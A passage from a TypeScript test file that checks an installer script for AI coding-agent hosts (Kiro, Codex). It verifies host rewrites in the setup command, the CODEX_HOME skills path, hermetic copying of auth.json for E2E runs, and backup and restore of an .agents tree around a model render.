const kiroEnd = setup.indexOf('# 6b.', kiroStart);
|
||||
expect(kiroStart).toBeGreaterThan(-1);
|
||||
const block = setup.slice(kiroStart, kiroEnd);
|
||||
const claudeRenderAt = block.indexOf('gen:skill-docs --host codex --model claude');
|
||||
const restoreAt = block.indexOf('gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL"');
|
||||
expect(claudeRenderAt).toBeGreaterThan(-1);
|
||||
expect(restoreAt).toBeGreaterThan(claudeRenderAt);
|
||||
});
|
||||
|
||||
test('Kiro rewrites the codex-rendered SETUP_COMMAND and never symlinks gstack-upgrade', () => {
|
||||
// The artifact Kiro copies was rendered for the codex host, so its
|
||||
// gstack-upgrade skill bakes in './setup --host codex'. Every copy path
|
||||
// must rewrite it to '--host kiro', and the KIRO_GSTACK gstack-upgrade
|
||||
// file must be a sed COPY (a symlink would track .agents after the
|
||||
// Codex-profile restore — wrong overlay AND wrong reinstall host).
|
||||
const kiroStart = setup.indexOf('# 6. Install for Kiro CLI');
|
||||
const kiroEnd = setup.indexOf('# 6b.', kiroStart);
|
||||
const block = setup.slice(kiroStart, kiroEnd);
|
||||
const rewrites = block.split('\\./setup --host codex|./setup --host kiro').length - 1;
|
||||
expect(rewrites).toBeGreaterThanOrEqual(3);
|
||||
expect(block).not.toContain('_link_or_copy "$AGENTS_DIR/gstack-upgrade/SKILL.md"');
|
||||
});
|
||||
|
||||
test('Codex skills path honors CODEX_HOME', () => {
|
||||
expect(setup).toContain('CODEX_SKILLS="${CODEX_HOME:-$HOME/.codex}/skills"');
|
||||
});
|
||||
|
||||
test('--model prints the one-shot persistence note', () => {
|
||||
expect(setup).toContain('--model applies to this run only');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Codex E2E hermetic model pin', () => {
|
||||
const runner = fs.readFileSync(path.join(ROOT, 'test', 'helpers', 'codex-session-runner.ts'), 'utf8');
|
||||
|
||||
test('copies authentication only and can ignore operator config', () => {
|
||||
expect(runner).toContain("for (const entry of ['auth.json'])");
|
||||
expect(runner).toContain("if (ignoreUserConfig) args.push('--ignore-user-config')");
|
||||
expect(runner).toContain('CODEX_HOME: tempCodexDir');
|
||||
expect(runner).not.toContain("if (entry === 'skills') continue");
|
||||
});
|
||||
});
|
||||
|
||||
describe('Sol E2E tree hygiene', () => {
|
||||
const solTest = fs.readFileSync(path.join(ROOT, 'test', 'codex-e2e-sol-scope.test.ts'), 'utf8');
|
||||
|
||||
test('snapshots and restores the exact prior .agents tree around the Sol render', () => {
|
||||
// The Sol render must not persist in the shared .agents tree (host-config
|
||||
// golden, parallel shard worktree copies, live symlinked installs) — and
|
||||
// the restore must be the operator's EXACT prior render, not a forced
|
||||
// default profile.
|
||||
const backupAt = solTest.indexOf('gstack-agents-backup-');
|
||||
const solRenderAt = solTest.indexOf("'--model', 'gpt-5.6-sol'");
|
||||
const restoreAt = solTest.indexOf('fs.cpSync(priorAgentsBackup, agentsDir');
|
||||
expect(backupAt).toBeGreaterThan(-1);
|
||||
expect(solRenderAt).toBeGreaterThan(backupAt);
|
||||
expect(restoreAt).toBeGreaterThan(solRenderAt);
|
||||
// Scope-widening detection must see untracked + staged files, not just
|
||||
// unstaged tracked modifications.
|
||||
expect(solTest).toContain("['status', '--porcelain']");
|
||||
expect(solTest).not.toContain("['diff', '--name-only']");
|
||||
// The fixture seed commit must survive global commit.gpgsign=true.
|
||||
expect(solTest).toContain("['config', 'commit.gpgsign', 'false']");
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user